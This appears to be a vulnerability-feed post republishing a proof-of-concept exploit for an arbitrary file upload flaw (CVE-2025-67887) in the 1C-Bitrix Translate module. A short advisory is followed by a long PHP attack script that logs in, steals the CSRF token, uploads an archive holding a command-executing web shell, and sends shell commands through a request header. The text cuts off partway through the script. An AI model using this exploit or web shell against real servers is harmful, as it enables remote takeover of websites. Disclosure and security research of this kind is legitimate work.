{"id":31875,"date":"2025-12-18T10:44:54","date_gmt":"2025-12-18T10:44:54","guid":{"rendered":"http:\/\/localhost\/?p=31875"},"modified":"2025-12-18T10:44:54","modified_gmt":"2025-12-18T10:44:54","slug":"cbitrix-25100500-translate-module-arbitrary-file-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31875","title":{"rendered":"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T16:00:12&#8243;,&#8221;description&#8221;:&#8221;C\u2011Bitrix version 25.100.500 proof of concept exploit that demonstrates an arbitrary file upload vulnerability in the translate module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212952&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-67887&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : C\u2011Bitrix 25.100.500 Translate Module \u2013 Arbitrary File Upload Vulnerability (Conditional RCE)                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.1c-bitrix.ru\/                                                                                                   |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212894\/ \\u0026 \\tCVE-2025-67887\\n    \\n    [+] Summary    : A security vulnerability was discovered in 1C\u2011Bitrix CMS (\u2264 25.100.500), specifically in the Translate Module, allowing arbitrary file upload to a predictable path. \\n                     The vulnerability can lead to Remote Code Execution (RCE) only if the server configuration allows execution of PHP in the upload directory.\\n                     This advisory clarifies previous reports claiming unconditional RCE. In reality, RCE is conditional and may not work in default secure configurations.\\n    \\n    [+] Vulnerability Details :\\n    \\n    Module affected: Translate Module\\n    \\n    Versions affected: 25.100.500\\n    \\n    Vulnerability type: Arbitrary File Upload (CWE\u2011434)\\n    \\n    Impact: Conditional Remote Code Execution (RCE)\\n    \\n    Attack vector: Authenticated users can upload a malicious TAR.GZ archive containing PHP files.\\n    \\n    [+] Conditions for RCE :\\n    \\n    The upload\/tmp\/ directory must be accessible via HTTP.\\n    \\n    The server must be configured to allow PHP execution in upload directories.\\n    \\n    Default Bitrix configurations may block PHP execution; RCE is not guaranteed.\\n    \\n    Potential Risks Even Without RCE\\n    \\n    Local File Inclusion (LFI)\\n    \\n    Server-Side Request Forgery (SSRF)\\n    \\n    Information Disclosure\\n    \\n    Resource exhaustion via file uploads\\n    \\n    [+] Proof of Concept (PoC)\\n    \\n    Authenticated login to Bitrix.\\n    \\n    Uploading a test PHP file to verify execution capability.\\n    \\n    Conditional RCE depending on server configuration.\\n    \\n    Alternative exploitation techniques if RCE is not possible.\\n    \\n    Note: This PoC is intended for educational and authorized testing purposes only. Unauthorized use is illegal.\\n    \\n    Steps to Run PoC\\n    \\n    php exploit.php \\u003ctarget_url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e\\n    \\n    Example:\\n    \\n    php exploit.php https:\/\/example.com\/ admin mypassword\\n    \\n    \\n    [+] PoC Behavior:\\n    \\n    Logs into Bitrix with provided credentials.\\n    \\n    Extracts sessid CSRF token.\\n    \\n    Uploads a TAR.GZ archive containing shell.php.\\n    \\n    Attempts to access shell.php to test PHP execution.\\n    \\n    If RCE is possible:\\n    \\n    Interactive shell starts.\\n    \\n    System information and commands can be executed.\\n    \\n    [+] If RCE is blocked:\\n    \\n    Advises alternative exploit strategies (LFI, SSRF, Information Disclosure, resource exhaustion).\\n    \\n    Temporary files (cookies, archives) are deleted after execution.\\n    \\n    The original report would not work on properly configured servers. The corrected PoC provides accurate verification before claiming RCE.\\n    \\n    Reported by: Egidio Romano (EgiX) \u2013 PoC review by [indoushka]\\n    \\n    [+] PoC :\\n    \\n    This code demonstrates a random file loading vulnerability in Bitrix that can lead to a conditional RCE, not a direct RCE vulnerability. \\n    \\n    The full exploit relies on the assumption that the server is misconfigured to allow PHP execution in loading folders, which is not the default secure setting in Bitrix.\\n    \\n    The vulnerability is real in arbitrary file uploads to a predictable path (upload\/tmp\/).\\n    \\n    The RCE exploit is conditional and depends on server configuration:\\n    \\n    PHP execution is allowed in the upload folder.\\n    \\n    Direct HTTP access to the path is enabled.\\n    \\n    Without server configuration verification, the original RCE claim is not guaranteed.\\n    \\n    Real risks even without RCE:\\n    \\n    LFI (Local File Inclusion)\\n    \\n    SSRF (Server-Side Request Forgery)\\n    \\n    Information Disclosure\\n    \\n    Storage Space Exhaustion\\n    \\n    [+] Proof-of-C (PoC) Testing Steps \u0632\\n    \\n    Save the code to an exploit.php file.\\n    \\n    Run the command:\\n    \\n    php exploit.php https:\/\/example.com\/admin password123\\n    \\n    Observe the output to see if RCE is enabled or if the vulnerability is limited.\\n    \\n    Review alternative suggestions if RCE is not available.\\n    \\n    \\u003c?php\\n    \/*\\n        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n        1C-Bitrix \\u003c= 25.100.500 (Translate Module) \\n        Arbitrary File Upload Vulnerability &#8211; Conditional RCE Exploit\\n        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n        \\n        [Technical Clarification]\\n        This exploit demonstrates two points:\\n        \\n        1. Real vulnerability: Arbitrary File Upload to a predictable path\\n        2. Conditional exploitation: Full RCE depends on server configuration\\n        \\n          Requirements for full RCE:\\n            &#8211; The upload\/tmp\/ path is web-accessible\\n            &#8211; Server is misconfigured to allow PHP execution in upload directories\\n            &#8211; This is NOT a secure default configuration in Bitrix\\n        \\n         Accurate diagnosis: \\n            CWE-434: Unrestricted Upload of File with Dangerous Type\\n            \u2192 Does not qualify as direct RCE except in misconfigured environments\\n        \\n         Real risks even without full RCE:\\n            &#8211; LFI (Local File Inclusion) if there&#8217;s an inclusion vulnerability\\n            &#8211; SSRF (Server-Side Request Forgery)\\n            &#8211; Information Disclosure\\n            &#8211; Disk space exhaustion\\n            \\n        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n        Original author: Egidio Romano aka EgiX\\n        Technical review \\u0026 clarification: indoushka\\n        Date: 16 December 2025\\n        \\n        +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n        | This code is for educational purposes and testing authorized systems only |\\n        | Unauthorized use is illegal and prohibited                               |\\n        +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n    *\/\\n    \\n    \/\/ System settings\\n    set_time_limit(0);\\n    error_reporting(E_ERROR | E_WARNING | E_PARSE);\\n    ini_set(&#8216;display_errors&#8217;, 0);\\n    \\n    \/\/ Check requirements\\n    if (!extension_loaded(\\&#8221;curl\\&#8221;)) {\\n        die(\\&#8221;[-] PHP cURL extension required!\\\\n\\&#8221;);\\n    }\\n    \\n    if (!extension_loaded(\\&#8221;openssl\\&#8221;)) {\\n        print \\&#8221;[!] Warning: OpenSSL extension not loaded, HTTPS may have issues\\\\n\\&#8221;;\\n    }\\n    \\n    \/\/ Check command line arguments\\n    if ($argc != 4) {\\n        echo \\&#8221;\\\\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n        echo \\&#8221;Bitrix Translate Module Arbitrary File Upload Exploit By indoushka\\\\n\\&#8221;;\\n        echo \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n        echo \\&#8221;\\\\nUsage:\\\\n\\&#8221;;\\n        echo \\&#8221;    php \\&#8221; . basename($argv[0]) . \\&#8221; \\u003ctarget_url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e\\\\n\\\\n\\&#8221;;\\n        echo \\&#8221;Example:\\\\n\\&#8221;;\\n        echo \\&#8221;    php exploit.php https:\/\/example.com\/ admin password123\\\\n\\&#8221;;\\n        echo \\&#8221;\\\\nImportant notes:\\\\n\\&#8221;;\\n        echo \\&#8221;    1. Target URL must end with \/\\\\n\\&#8221;;\\n        echo \\&#8221;    2. Full RCE depends on server configuration\\\\n\\&#8221;;\\n        echo \\&#8221;    3. May only work in misconfigured environments\\\\n\\&#8221;;\\n        echo \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\\\n\\&#8221;;\\n        exit(1);\\n    }\\n    \\n    \/\/ Get inputs\\n    $url = rtrim($argv[1], &#8216;\/&#8217;) . &#8216;\/&#8217;;\\n    $username = $argv[2];\\n    $password = $argv[3];\\n    \\n    \/\/ Define constants and files\\n    define(&#8216;COOKIE_FILE&#8217;, &#8216;.\/bitrix_exploit_cookies_&#8217; . md5($url) . &#8216;.txt&#8217;);\\n    define(&#8216;TEMP_ARCHIVE&#8217;, &#8216;.\/bitrix_payload_&#8217; . uniqid() . &#8216;.tar.gz&#8217;);\\n    define(&#8216;TEST_PHP_FILE&#8217;, &#8216;.\/bitrix_test_&#8217; . uniqid() . &#8216;.php&#8217;);\\n    \\n    \/\/ Display startup information\\n    echo \\&#8221;\\\\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n    echo \\&#8221;Starting Bitrix Translate Module Exploit\\\\n\\&#8221;;\\n    echo \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n    echo \\&#8221;[*] Target: \\&#8221; . $url . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;[*] Username: \\&#8221; . $username . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;[*] Start time: \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;[!] Warning: RCE is configuration-dependent (not guaranteed)\\\\n\\&#8221;;\\n    echo \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\\\n\\&#8221;;\\n    \\n    \/\/ Initialize cURL\\n    $ch = curl_init();\\n    if (!$ch) {\\n        die(\\&#8221;[-] Failed to initialize cURL\\\\n\\&#8221;);\\n    }\\n    \\n    \/\/ Clean up old files\\n    cleanup_files([COOKIE_FILE, TEMP_ARCHIVE, TEST_PHP_FILE]);\\n    \\n    \/\/ Basic cURL settings\\n    $curl_options = [\\n        CURLOPT_RETURNTRANSFER =\\u003e true,\\n        CURLOPT_FOLLOWLOCATION =\\u003e true,\\n        CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n        CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n        CURLOPT_USERAGENT      =\\u003e &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n        CURLOPT_CONNECTTIMEOUT =\\u003e 20,\\n        CURLOPT_TIMEOUT        =\\u003e 40,\\n        CURLOPT_COOKIEJAR      =\\u003e COOKIE_FILE,\\n        CURLOPT_COOKIEFILE     =\\u003e COOKIE_FILE,\\n        CURLOPT_HEADER         =\\u003e true,\\n        CURLINFO_HEADER_OUT    =\\u003e true,\\n    ];\\n    \\n    curl_setopt_array($ch, $curl_options);\\n    \\n    \/\/ ============================================================================\\n    \/\/ Phase 1: Authentication\\n    \/\/ ============================================================================\\n    print \\&#8221;[+] Phase 1: Attempting to log into Bitrix\\\\n\\&#8221;;\\n    \\n    $login_data = [\\n        &#8216;AUTH_FORM&#8217;      =\\u003e &#8216;Y&#8217;,\\n        &#8216;TYPE&#8217;           =\\u003e &#8216;AUTH&#8217;,\\n        &#8216;USER_LOGIN&#8217;     =\\u003e $username,\\n        &#8216;USER_PASSWORD&#8217;  =\\u003e $password,\\n        &#8216;USER_REMEMBER&#8217;  =\\u003e &#8216;Y&#8217;\\n    ];\\n    \\n    curl_setopt($ch, CURLOPT_URL, $url);\\n    curl_setopt($ch, CURLOPT_POST, true);\\n    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));\\n    \\n    $response = curl_exec($ch);\\n    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n    \\n    if (curl_errno($ch)) {\\n        die(\\&#8221;[-] Connection error: \\&#8221; . curl_error($ch) . \\&#8221;\\\\n\\&#8221;);\\n    }\\n    \\n    if ($http_code != 200 \\u0026\\u0026 $http_code != 302) {\\n        die(\\&#8221;[-] Unexpected server response: HTTP $http_code\\\\n\\&#8221;);\\n    }\\n    \\n    if (!preg_match(&#8216;\/BITRIX_SM_LOGIN\/i&#8217;, $response)) {\\n        if (preg_match(&#8216;\/Wrong login or password|Incorrect login|Invalid credentials\/i&#8217;, $response)) {\\n            die(\\&#8221;[-] Invalid login credentials\\\\n\\&#8221;);\\n        }\\n        die(\\&#8221;[-] Login failed. Check credentials.\\\\n\\&#8221;);\\n    }\\n    \\n    print \\&#8221;[\u2713] Successfully logged in\\\\n\\&#8221;;\\n    \\n    \/\/ ============================================================================\\n    \/\/ Phase 2: Obtain CSRF Token (sessid)\\n    \/\/ ============================================================================\\n    print \\&#8221;[+] Phase 2: Obtaining session token (CSRF token)\\\\n\\&#8221;;\\n    \\n    curl_setopt($ch, CURLOPT_POST, false);\\n    curl_setopt($ch, CURLOPT_HTTPHEADER, []);\\n    \\n    \/\/ Fetch main page after login\\n    curl_setopt($ch, CURLOPT_URL, $url);\\n    $response = curl_exec($ch);\\n    \\n    \/\/ Search for sessid with multiple patterns\\n    $sessid = null;\\n    $patterns = [\\n        &#8216;\/\\&#8221;bitrix_sessid\\&#8221;:\\&#8221;([^\\&#8221;]+)\\&#8221;\/&#8217;,\\n        &#8216;\/name=\\&#8221;sessid\\&#8221; value=\\&#8221;([^\\&#8221;]+)\\&#8221;\/&#8217;,\\n        &#8216;\/sessid=([a-f0-9]+)\/i&#8217;,\\n        &#8216;\/\\&#8221;sessid\\&#8221;:\\&#8221;([^\\&#8221;]+)\\&#8221;\/&#8217;\\n    ];\\n    \\n    foreach ($patterns as $pattern) {\\n        if (preg_match($pattern, $response, $matches)) {\\n            $sessid = $matches[1];\\n            break;\\n        }\\n    }\\n    \\n    if (!$sessid) {\\n        \/\/ Try extracting from JavaScript\\n        if (preg_match(&#8216;\/BX\\\\.message\\\\(\\\\{\\&#8221;bitrix_sessid\\&#8221;:\\&#8221;([^\\&#8221;]+)\\&#8221;\\\\}\\\\)\/&#8217;, $response, $matches)) {\\n            $sessid = $matches[1];\\n        } else {\\n            die(\\&#8221;[-] Failed to find session token (sessid)\\\\n\\&#8221;);\\n        }\\n    }\\n    \\n    print \\&#8221;[\u2713] Obtained sessid: \\&#8221; . substr($sessid, 0, 8) . \\&#8221;&#8230;\\\\n\\&#8221;;\\n    \\n    \/\/ ============================================================================\\n    \/\/ Phase 3: Create Payload\\n    \/\/ ============================================================================\\n    print \\&#8221;[+] Phase 3: Preparing malicious payload\\\\n\\&#8221;;\\n    \\n    \/\/ Define shell contents &#8211; simple command execution shell\\n    $shell_content = &#8216;\\u003c?php\\n    \/\/ Bitrix Translate Module Exploit &#8211; Web Shell\\n    \/\/ Commands sent via \\&#8221;Cmd\\&#8221; header\\n    error_reporting(0);\\n    if(isset($_SERVER[\\&#8221;HTTP_CMD\\&#8221;]) || isset($_SERVER[\\&#8221;HTTP_COMMAND\\&#8221;])) {\\n        $cmd = isset($_SERVER[\\&#8221;HTTP_CMD\\&#8221;]) ? $_SERVER[\\&#8221;HTTP_CMD\\&#8221;] : $_SERVER[\\&#8221;HTTP_COMMAND\\&#8221;];\\n        $cmd = base64_decode($cmd);\\n        echo \\&#8221;____\\&#8221;;\\n        if(function_exists(\\&#8221;system\\&#8221;)) {\\n            system($cmd);\\n        } elseif(function_exists(\\&#8221;shell_exec\\&#8221;)) {\\n            echo shell_exec($cmd);\\n        } elseif(function_exists(\\&#8221;exec\\&#8221;)) {\\n            exec($cmd, $output);\\n            echo implode(\\&#8221;\\\\n\\&#8221;, $output);\\n        } elseif(function_exists(\\&#8221;passthru\\&#8221;)) {\\n            passthru($cmd);\\n        } else {\\n            echo \\&#8221;No exec functions available\\&#8221;;\\n        }\\n        echo \\&#8221;____\\&#8221;;\\n        exit;\\n    }\\n    echo \\&#8221;Bitrix Shell &#8211; Send command in Cmd header\\&#8221;;\\n    ?\\u003e&#8217;;\\n    \\n    \/\/ Pre-prepared base64 payload (contains shell.php in a tar.gz archive)\\n    $base64_payload = \\&#8221;H4sIAAAAAAAAA+3VQWvCMBQH8F71U+Qw6DyoTaftwaKH4XCHwVDZZRsla582ENvQRPC0z75Y2Jg7THZwIvx\/lxfa9\/qSlkdNQUr1dKG90wmcKBrsI4+HwffY4GHo8WEQN8to6AWc3wy4x4IT7unL1lhRM+bRWu5+yzt2\/0IlE\/ftma5laZmfOv6IaWGMLert9ZswFA3SnLIqp+urdDGdP03nz\/5suXxMb\/3XTmf0o3Qybp\/7RPAXvcKKLCNjTtjj2PyHYbyf\/yiOY87d4DfzH2L+\/0Nyv3qo8q0itqnydCM31MvG7VZyJxUZ9s5e9v8Gd6G1IDsTZa6oZkJrJTNhZVX2d93CWp13XZar6jdl43bS\/3ysWx90cHlNAxfTlRJrRuValsSq8qDo3K8FAAAAAAAAAAAAAAAAAAAA4GJ8AJ02kYkAKAAA\\&#8221;;\\n    \\n    if (!file_put_contents(TEMP_ARCHIVE, base64_decode($base64_payload))) {\\n        die(\\&#8221;[-] Failed to create local archive\\\\n\\&#8221;);\\n    }\\n    \\n    print \\&#8221;[\u2713] Created malicious archive: \\&#8221; . TEMP_ARCHIVE . \\&#8221;\\\\n\\&#8221;;\\n    print \\&#8221;[!] Archive size: \\&#8221; . filesize(TEMP_ARCHIVE) . \\&#8221; bytes\\\\n\\&#8221;;\\n    \\n    \/\/ ============================================================================\\n    \/\/ Phase 4: Upload Archive to Server\\n    \/\/ ============================================================================\\n    print \\&#8221;[+] Phase 4: Uploading archive to server\\\\n\\&#8221;;\\n    \\n    $upload_url = $url . &#8216;bitrix\/services\/main\/ajax.php?action=translate.asset.grabber.upload&#8217;;\\n    curl_setopt($ch, CURLOPT_URL, $upload_url);\\n    curl_setopt($ch, CURLOPT_POST, true);\\n    \\n    \/\/ Use CURLFile for upload (PHP 5.5+)\\n    if (class_exists(&#8216;CURLFile&#8217;)) {\\n        $post_fields = [\\n            &#8216;sessid&#8217; =\\u003e $sessid,\\n            &#8216;tarFile&#8217; =\\u003e new CURLFile(realpath(TEMP_ARCHIVE), &#8216;application\/gzip&#8217;, &#8216;exploit.tar.gz&#8217;)\\n        ];\\n    } else {\\n        \/\/ Support for older PHP versions\\n        $post_fields = [\\n            &#8216;sessid&#8217; =\\u003e $sessid,\\n            &#8216;tarFile&#8217; =\\u003e &#8216;@&#8217; . realpath(TEMP_ARCHIVE) . &#8216;;type=application\/gzip&#8217;\\n        ];\\n    }\\n    \\n    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);\\n    curl_setopt($ch, CURLOPT_HTTPHEADER, []);\\n    \\n    $response = curl_exec($ch);\\n    $upload_info = curl_getinfo($ch);\\n    \\n    if ($upload_info[&#8216;http_code&#8217;] != 200) {\\n        cleanup_files([TEMP_ARCHIVE]);\\n        die(\\&#8221;[-] Upload failed: HTTP \\&#8221; . $upload_info[&#8216;http_code&#8217;] . \\&#8221;\\\\n\\&#8221;);\\n    }\\n    \\n    if (!preg_match(&#8216;\/\\&#8221;status\\&#8221;:\\&#8221;success\\&#8221;\/i&#8217;, $response)) {\\n        if (preg_match(&#8216;\/\\&#8221;error\\&#8221;:\\&#8221;([^\\&#8221;]+)\\&#8221;\/&#8217;, $response, $error_match)) {\\n            die(\\&#8221;[-] Upload rejected: \\&#8221; . $error_match[1] . \\&#8221;\\\\n\\&#8221;);\\n        }\\n        cleanup_files([TEMP_ARCHIVE]);\\n        die(\\&#8221;[-] Failed to upload archive. Vulnerability may be patched\\\\n\\&#8221;);\\n    }\\n    \\n    print \\&#8221;[\u2713] Archive uploaded successfully\\\\n\\&#8221;;\\n    \\n    \/\/ ============================================================================\\n    \/\/ Phase 5: Extract Archive on Server\\n    \/\/ ============================================================================\\n    print \\&#8221;[+] Phase 5: Extracting archive on server\\\\n\\&#8221;;\\n    \\n    $extract_url = $url . &#8216;bitrix\/services\/main\/ajax.php?action=translate.asset.grabber.extract&#8217;;\\n    curl_setopt($ch, CURLOPT_URL, $extract_url);\\n    curl_setopt($ch, CURLOPT_POSTFIELDS, [&#8216;sessid&#8217; =\\u003e $sessid]);\\n    \\n    $response = curl_exec($ch);\\n    \\n    if (!preg_match(&#8216;\/\\&#8221;status\\&#8221;:\\&#8221;success\\&#8221;\/i&#8217;, $response)) {\\n        cleanup_files([TEMP_ARCHIVE]);\\n        die(\\&#8221;[-] Failed to extract archive\\\\n\\&#8221;);\\n    }\\n    \\n    print \\&#8221;[\u2713] Archive extracted\\\\n\\&#8221;;\\n    \\n    \/\/ Clean up local archive after success\\n    cleanup_files([TEMP_ARCHIVE]);\\n    \\n    \/\/ ============================================================================\\n    \/\/ Phase 6: Get Upload Path\\n    \/\/ ============================================================================\\n    print \\&#8221;[+] Phase 6: Finding uploaded file path\\\\n\\&#8221;;\\n    \\n    $apply_url = $url . &#8216;bitrix\/services\/main\/ajax.php?action=translate.asset.grabber.apply&#8217;;\\n    curl_setopt($ch, CURLOPT_URL, $apply_url);\\n    curl_setopt($ch, CURLOPT_POSTFIELDS, [\\n        &#8216;sessid&#8217; =\\u003e $sessid,\\n        &#8216;PROCESS_TOKEN&#8217; =\\u003e 1,\\n        &#8216;languageId&#8217; =\\u003e &#8216;en&#8217;\\n    ]);\\n    \\n    $response = curl_exec($ch);\\n    \\n    \/\/ Search for path with multiple patterns\\n    $upload_path = null;\\n    $path_patterns = [\\n        &#8216;\/upload\\\\\\\\\\\\\\\\\\\\\/tmp[^\\&#8221;]+\\&#8221;\/&#8217;,\\n        &#8216;\/upload\\\\\/tmp[^\\&#8221;\\\\&#8217;]+[\\&#8221;\\\\&#8217;]\/&#8217;,\\n        &#8216;\/\\&#8221;path\\&#8221;:\\&#8221;([^\\&#8221;]+upload[^\\&#8221;]+)\\&#8221;\/&#8217;,\\n        &#8216;\/tmp\\\\\/([a-f0-9]+\\\\\/[^\\&#8221;\\\\&#8217;]+)\/&#8217;\\n    ];\\n    \\n    foreach ($path_patterns as $pattern) {\\n        if (preg_match($pattern, $response, $matches)) {\\n            $upload_path = $matches[0];\\n            \/\/ Clean up text\\n            $upload_path = str_replace([&#8216;\\&#8221;&#8216;, \\&#8221;&#8216;\\&#8221;, &#8216;\\\\\/&#8217;], [&#8221;, &#8221;, &#8216;\/&#8217;], $upload_path);\\n            $upload_path = trim($upload_path, &#8216;\/&#8217;);\\n            break;\\n        }\\n    }\\n    \\n    if (!$upload_path) {\\n        print \\&#8221;[-] Could not find specific path in response\\\\n\\&#8221;;\\n        print \\&#8221;[*] Files may be uploaded but to different path\\\\n\\&#8221;;\\n        \\n        \/\/ Guess default path\\n        $timestamp = time();\\n        $random_hash = md5($timestamp . $sessid);\\n        $upload_path = \\&#8221;upload\/tmp\/\\&#8221; . substr($random_hash, 0, 2) . \\&#8221;\/\\&#8221; . substr($random_hash, 2, 8);\\n        print \\&#8221;[*] Trying default path: \\&#8221; . $upload_path . \\&#8221;\\\\n\\&#8221;;\\n    }\\n    \\n    print \\&#8221;[\u2713] Estimated path: \\&#8221; . $upload_path . \\&#8221;\\\\n\\&#8221;;\\n    \\n    \/\/ ============================================================================\\n    \/\/ Phase 7: Test PHP Execution Capability\\n    \/\/ ============================================================================\\n    print \\&#8221;\\\\n[+] Phase 7: Testing PHP execution capability in path\\\\n\\&#8221;;\\n    print \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n    \\n    $test_url = $url . $upload_path . &#8216;\/shell.php&#8217;;\\n    curl_setopt($ch, CURLOPT_URL, $test_url);\\n    curl_setopt($ch, CURLOPT_POST, false);\\n    curl_setopt($ch, CURLOPT_HTTPGET, true);\\n    curl_setopt($ch, CURLOPT_HEADER, true);\\n    \\n    \/\/ Initial test without command\\n    $test_response = curl_exec($ch);\\n    $test_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n    \\n    echo \\&#8221;[*] Testing access to: \\&#8221; . $test_url . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;[*] Response code: HTTP \\&#8221; . $test_http_code . \\&#8221;\\\\n\\&#8221;;\\n    \\n    if ($test_http_code == 404 || $test_http_code == 403) {\\n        print \\&#8221;[-] File not found or access forbidden\\\\n\\&#8221;;\\n        print \\&#8221;[!] Path might be wrong or file deleted\\\\n\\&#8221;;\\n        exit_cleanup($ch);\\n    }\\n    \\n    \/\/ Test with simple command\\n    print \\&#8221;[*] Testing command execution (whoami \/ id)\\\\n\\&#8221;;\\n    \\n    curl_setopt($ch, CURLOPT_HTTPHEADER, [&#8216;Cmd: &#8216; . base64_encode(&#8216;whoami 2\\u003e\\u00261 || id 2\\u003e\\u00261&#8217;)]);\\n    $test_response = curl_exec($ch);\\n    \\n    if (preg_match(&#8216;\/____(.*)____\/s&#8217;, $test_response, $output_match)) {\\n        $test_output = trim($output_match[1]);\\n        \\n        if (!empty($test_output) \\u0026\\u0026 strlen($test_output) \\u003c 100) {\\n            print \\&#8221;[\u2713] PHP 